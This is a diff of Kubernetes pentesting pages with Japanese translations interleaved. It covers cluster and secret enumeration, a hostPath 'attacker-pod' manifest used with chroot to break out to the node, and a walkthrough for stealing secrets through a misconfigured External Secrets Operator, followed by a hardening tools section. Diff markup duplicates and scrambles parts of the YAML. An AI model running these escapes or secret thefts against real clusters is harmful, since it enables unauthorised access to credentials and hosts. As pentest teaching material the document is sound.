abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Get Others roles
### 他の役割を取得する
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get roles
k get clusterroles
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{{#endtab }}
{{#endtabs }}
### Get namespaces
### 名前空間の取得
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
Kubernetesは、同じ物理クラスターに基づく**複数の仮想クラスター**をサポートしています。これらの仮想クラスターは**名前空間**と呼ばれます。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get namespaces
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}
### Get secrets
### シークレットを取得する
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{{#endtab }}
{{#endtabs }}
If you can read secrets you can use the following lines to get the privileges related to each to token:
シークレットを読むことができれば、次の行を使用して各トークンに関連する権限を取得できます:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### サービスアカウントの取得
### Get Service Accounts
As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストすることで、ユーザーが権限を昇格させることができるかもしれません。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get serviceaccounts
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{{#endtab }}
{{#endtabs }}
### Get Deployments
### デプロイメントの取得
The deployments specify the **components** that need to be **run**.
デプロイメントは、**実行**する必要がある**コンポーネント**を指定します。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get deployments
k get deployments -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}
### Get Pods
### Podを取得する
The Pods are the actual **containers** that will **run**.
Podは実際に**実行**される**コンテナ**です。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get pods
k get pods -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{{#endtab }}
{{#endtabs }}
### Get Services
### サービスの取得
Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**（これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します）。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get services
k get services -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{{#endtab }}
{{#endtabs }}
### Get nodes
### ノードを取得
Get all the **nodes configured inside the cluster**.
**クラスター内に構成されているすべてのノードを取得**します。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get nodes
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{{#endtab }}
{{#endtabs }}
### Get DaemonSets
### DaemonSetsの取得
**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
**DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード（または選択されたノード）で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get daemonsets
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{{#endtab }}
{{#endtabs }}
### Get cronjob
### Cronジョブの取得
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
Cronジョブは、crontabのような構文を使用して、アクションを実行するポッドの起動をスケジュールすることを可能にします。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}
### Get configMap
### configMapを取得する
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
configMapには常に多くの情報と、kubernetesで実行されるアプリに提供される設定ファイルが含まれています。通常、他の内部/外部サービスに接続し、検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get configmaps # -n namespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
```
{{#endtab }}
{{#endtabs }}
### Get Network Policies / Cilium Network Policies
### ネットワークポリシー / Ciliumネットワークポリシーの取得
{{#tabs }}
{{#tab name="First Tab" }}
{{#tab name="最初のタブ" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}
### Get Everything / All
### すべてを取得 / すべて
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all
```
{{#endtab }}
{{#endtabs }}
### **Get all resources managed by helm**
### **Helmによって管理されているすべてのリソースを取得する**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}
### **Get Pods consumptions**
### **ポッドの消費量を取得する**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k top pod --all-namespaces
```
{{#endtab }}
{{#endtabs }}
### Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
### ポッドからの脱出
新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootします。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスが表示されるためです。
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> if you need create pod on the specific node, you can use following command to get labels on node
> 特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。
>
> `k get nodes --show-labels`
>
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
Then you create your attack.yaml file
> 一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するための良いラベルです。
その後、attack.yaml ファイルを作成します。
```yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
After that you create the pod
その後、ポッドを作成します。
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Now you can switch to the created pod as follows
次に、作成したポッドに切り替えることができます。
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
And finally you chroot into the node's system
そして最後に、ノードのシステムにchrootします。
```bash
chroot /root /bin/bash
```
情報は以下から取得しました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
## References
## 参考文献
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

122
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
View File

@@ -1,113 +1,101 @@
# External Secret Operator
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
**このページの元の著者は** [**Fares**](https://www.linkedin.com/in/fares-siala/)
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
このページでは、誤って構成されたESOまたはESOを使用して秘密を同期するアプリケーションから秘密を盗む方法についてのいくつかのポイントを示します。
## Disclaimer
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
以下に示す技術は、特定の条件が満たされる場合にのみ機能します。たとえば、あなたが所有または侵害した名前空間で秘密を同期するために必要な要件に依存します。自分で見つける必要があります。
## Prerequisites
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
2. Read access on at least ExternalSecret at cluster level
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
1. 名前空間での管理者権限を持つkubernetes / openshiftクラスターへの足場
2. クラスターレベルでの少なくともExternalSecretへの読み取りアクセス
3. ESOがあなたの秘密を同期するために必要なラベル/注釈またはグループメンバーシップがあるかどうかを確認します。運が良ければ、定義された秘密を自由に盗むことができます。
### Gathering information about existing ClusterSecretStore
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
十分な権限を持つユーザーがいると仮定して、最初に既存の_**ClusterSecretStores**_をリストアップします。
```sh
kubectl get ClusterSecretStore
```
### ExternalSecret enumeration
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
クラスターシークレットストア _**mystore**_ が見つかったと仮定します。その関連する externalsecret を列挙します。
```sh
kubectl get externalsecret -A | grep mystore
```
_このリソースは名前空間スコープであるため、どの名前空間を探すべきかすでに知っていない限り、-Aオプションを追加してすべての名前空間を横断して探してください。_
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
定義されたexternalsecretのリストが得られるはずです。_**mysecret**_というexternalsecretオブジェクトが_**mynamespace**_という名前空間によって定義され、使用されていると仮定しましょう。それが保持している秘密の種類について、もう少し情報を集めてください。
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### 部品の組み立て
### Assembling the pieces
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
ここから、1つまたは複数のシークレット名（Secretリソースで定義されているように）を取得できます。出力は次のようになります:
```yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
```
これまでに得たものは：
So far we got:
- Name a ClusterSecretStore
- Name of an ExternalSecret
- Name of the secret
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
- ClusterSecretStoreの名前
- ExternalSecretの名前
- シークレットの名前
必要なものがすべて揃ったので、ExternalSecretを作成できます（最終的には、新しいシークレットを同期させるために必要な前提条件に従って、新しいNamespaceをパッチまたは作成することになります）：
```yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
```
```yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
数分後、同期条件が満たされていれば、あなたのネームスペース内で漏洩したシークレットを表示できるはずです。
```sh
kubectl get secret leaked_secret -o yaml
```
## References
## 参考文献
{{#ref}}
https://external-secrets.io/latest/
@@ -116,7 +104,3 @@ https://external-secrets.io/latest/
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}

174
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
View File

@@ -2,177 +2,165 @@
{{#include ../../../banners/hacktricks-training.md}}
## Tools to analyse a cluster
## クラスターを分析するためのツール
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time.
[**Kubescape**](https://github.com/armosec/kubescape) は、リスク分析、セキュリティコンプライアンス、RBACビジュアライザー、イメージ脆弱性スキャンを含む、マルチクラウドK8sのシングルペインオブグラスを提供するK8sオープンソースツールです。KubescapeはK8sクラスター、YAMLファイル、HELMチャートをスキャンし、複数のフレームワーク（例えば、[NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) 、[MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)）に従って誤設定、ソフトウェアの脆弱性、RBAC（ロールベースアクセス制御）違反をCI/CDパイプラインの初期段階で検出し、リスクスコアを即座に計算し、時間の経過に伴うリスクの傾向を表示します。
```bash
kubescape scan --verbose
```
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
You can choose to:
ツール [**kube-bench**](https://github.com/aquasecurity/kube-bench) は、[**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/) に記載されたチェックを実行することによって、Kubernetes が安全にデプロイされているかどうかを確認するツールです。\
次の方法を選択できます：
- run kube-bench from inside a container (sharing PID namespace with the host)
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile it from source.
- コンテナ内から kube-bench を実行する（ホストと PID 名前空間を共有）
- ホストに kube-bench をインストールするコンテナを実行し、その後ホスト上で直接 kube-bench を実行する
- [Releases page](https://github.com/aquasecurity/kube-bench/releases) から最新のバイナリをインストールする
- ソースからコンパイルする
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
ツール [**kubeaudit**](https://github.com/Shopify/kubeaudit) は、さまざまなセキュリティ上の懸念に対して **Kubernetes クラスターを監査** するためのコマンドラインツールおよび Go パッケージです。
Kubeaudit は、クラスター内のコンテナ内で実行されているかどうかを検出できます。もしそうであれば、そのクラスター内のすべての Kubernetes リソースを監査しようとします：
```
kubeaudit all
```
This tool also has the argument `autofix` to **automatically fix detected issues.**
このツールには、検出された問題を**自動的に修正する**ための引数`autofix`もあります。
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
ツール[**kube-hunter**](https://github.com/aquasecurity/kube-hunter)は、Kubernetesクラスターのセキュリティの弱点を探します。このツールは、Kubernetes環境におけるセキュリティ問題への意識と可視性を高めるために開発されました。
```bash
kube-hunter --remote some.node.com
```
### [**Kubei**](https://github.com/Erezf-p/kubei)
[**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods.
[**Kubei**](https://github.com/Erezf-p/kubei) は、ユーザーが自分の Kubernetes クラスターの正確で即時のリスク評価を得ることを可能にする脆弱性スキャンおよび CIS Docker ベンチマークツールです。Kubei は、アプリケーションポッドやシステムポッドのイメージを含む、Kubernetes クラスターで使用されているすべてのイメージをスキャンします。
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) is a tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model.
[**KubiScan**](https://github.com/cyberark/KubiScan) は、Kubernetes のロールベースアクセス制御 (RBAC) 認可モデルにおけるリスクのある権限をスキャンするためのツールです。
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) は、他のツールと比較して他のタイプの高リスクチェックをテストするために構築されたツールです。主に 3 つの異なるモードがあります：
- **`find-role-relationships`**: Which will find which AWS roles are running in which pods
- **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
- **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
- **`find-role-relationships`**: どの AWS ロールがどのポッドで実行されているかを見つけます
- **`find-secrets`**: Pods、ConfigMaps、Secrets などの K8s リソース内の秘密を特定しようとします。
- **`test-imds-access`**: ポッドを実行し、メタデータ v1 および v2 にアクセスしようとします。警告：これはクラスター内でポッドを実行しますので、注意してください。おそらくこれを行いたくないかもしれません！
## **Audit IaC Code**
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
[**Popeye**](https://github.com/derailed/popeye) は、ライブ Kubernetes クラスターをスキャンし、**デプロイされたリソースと構成に関する潜在的な問題を報告する**ユーティリティです。ディスク上にあるものではなく、デプロイされたものに基づいてクラスターをサニタイズします。クラスターをスキャンすることで、誤った構成を検出し、ベストプラクティスが確立されていることを確認するのに役立ち、将来の頭痛を防ぎます。Kubernetes クラスターを運用する際の認知的負荷を軽減することを目指しています。さらに、クラスターがメトリックサーバーを使用している場合、リソースの過剰/不足割り当てを報告し、クラスターが容量不足になる場合に警告を試みます。
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) finds **security vulnerabilities**, compliance issues, and infrastructure misconfigurations in the following **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications
[**KICS**](https://github.com/Checkmarx/kics) は、以下の **Infrastructure as Code ソリューション** における **セキュリティ脆弱性**、コンプライアンスの問題、およびインフラストラクチャの誤設定を見つけます：Terraform、Kubernetes、Docker、AWS CloudFormation、Ansible、Helm、Microsoft ARM、および OpenAPI 3.0 仕様
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code.
[**Checkov**](https://github.com/bridgecrewio/checkov) は、インフラストラクチャ・アズ・コードのための静的コード分析ツールです。
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) or [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects security and compliance misconfigurations using graph-based scanning.
[Terraform](https://terraform.io)、Terraform プラン、[Cloudformation](https://aws.amazon.com/cloudformation/)、[AWS SAM](https://aws.amazon.com/serverless/sam/)、[Kubernetes](https://kubernetes.io)、[Dockerfile](https://www.docker.com)、[Serverless](https://www.serverless.com) または [ARM テンプレート](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) is a tool that performs static code analysis of your Kubernetes object definitions.
[**kube-score**](https://github.com/zegl/kube-score) は、Kubernetes オブジェクト定義の静的コード分析を実行するツールです。
To install:
インストール方法：
| Distribution | Command / Link |
| ディストリビューション | コマンド / リンク |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| macOS、Linux、Windows 用のプリビルドバイナリ | [GitHub リリース](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
| Homebrew (macOS および Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS および Linux) | `kubectl krew install score` |
## Tips
### Kubernetes PodSecurityContext and SecurityContext
### Kubernetes PodSecurityContext と SecurityContext
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
**Pod のセキュリティコンテキスト** (_PodSecurityContext_) と実行される **コンテナ** のセキュリティコンテキスト (_SecurityContext_) を構成できます。詳細については、次をお読みください：
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Kubernetes API Hardening
### Kubernetes API ハードニング
It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\
It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**.
Kubernetes Api Server への **アクセスを保護すること** は非常に重要です。十分な権限を持つ悪意のあるアクターがそれを悪用し、環境に多くの方法で損害を与える可能性があります。\
**アクセス**（API サーバーにアクセスするためのオリジンを **ホワイトリスト** に登録し、他の接続を拒否する）と [**認証**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)（**最小限の権限** の原則に従う）を確保することが重要です。そして、**決して** **匿名** **リクエストを許可しない**ことが重要です。
**Common Request process:**\
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
**一般的なリクエストプロセス：**\
ユーザーまたは K8s ServiceAccount –> 認証 –> 認可 –> 受け入れ制御。
**Tips**:
**ヒント**：
- Close ports.
- Avoid Anonymous access.
- NodeRestriction; No access from specific nodes to the API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
- And also, allows kubelets to add/remove/update these labels and label prefixes.
- Ensure with labels the secure workload isolation.
- Avoid specific pods from API access.
- Avoid ApiServer exposure to the internet.
- Avoid unauthorized access RBAC.
- ApiServer port with firewall and IP whitelisting.
- ポートを閉じる。
- 匿名アクセスを避ける。
- NodeRestriction; 特定のノードから API へのアクセスを制限する。
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- 基本的に、kubelets が node-restriction.kubernetes.io/ プレフィックスを持つラベルを追加/削除/更新するのを防ぎます。このラベルプレフィックスは、ワークロードの分離目的でノードオブジェクトにラベルを付けるために管理者に予約されています。kubelets はそのプレフィックスを持つラベルを変更することは許可されません。
- また、kubelets がこれらのラベルおよびラベルプレフィックスを追加/削除/更新することを許可します。
- ラベルを使用して安全なワークロードの分離を確保します。
- 特定のポッドが API アクセスを避けるようにします。
- ApiServer をインターネットにさらすことを避けます。
- 認可されていないアクセス RBAC を避けます。
- ファイアウォールと IP ホワイトリストを使用した ApiServer ポート。
### SecurityContext Hardening
By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one:
### SecurityContext ハードニング
デフォルトでは、他のユーザーが指定されていない場合、ポッドが起動するときに root ユーザーが使用されます。次のようなテンプレートを使用して、より安全なコンテキスト内でアプリケーションを実行できます：
```yaml
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
name: security-context-demo
spec:
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
volumes:
- name: sec-ctx-vol
emptyDir: {}
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
runAsNonRoot: true
volumeMounts:
- name: sec-ctx-vol
mountPath: /data/demo
securityContext:
allowPrivilegeEscalation: true
securityContext:
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
volumes:
- name: sec-ctx-vol
emptyDir: {}
containers:
- name: sec-ctx-demo
image: busybox
command: [ "sh", "-c", "sleep 1h" ]
securityContext:
runAsNonRoot: true
volumeMounts:
- name: sec-ctx-vol
mountPath: /data/demo
securityContext:
allowPrivilegeEscalation: true
```
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
### General Hardening
### 一般的なハードニング
You should update your Kubernetes environment as frequently as necessary to have:
Kubernetes 環境は、次のように必要に応じて頻繁に更新する必要があります。
- Dependencies up to date.
- Bug and security patches.
- 依存関係を最新の状態に保つ。
- バグおよびセキュリティパッチ。
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
[**リリースサイクル**](https://kubernetes.io/docs/setup/release/version-skew-policy/): 3ヶ月ごとに新しいマイナーリリースがあります -- 1.20.3 = 1(メジャー).20(マイナー).3(パッチ)
**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
**Kubernetes クラスターを更新する最良の方法は (こちらから)** [**こちら**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**:**
- Upgrade the Master Node components following this sequence:
- etcd (all instances).
- kube-apiserver (all control plane hosts).
- kube-controller-manager.
- kube-scheduler.
- cloud controller manager, if you use one.
- Upgrade the Worker Node components such as kube-proxy, kubelet.
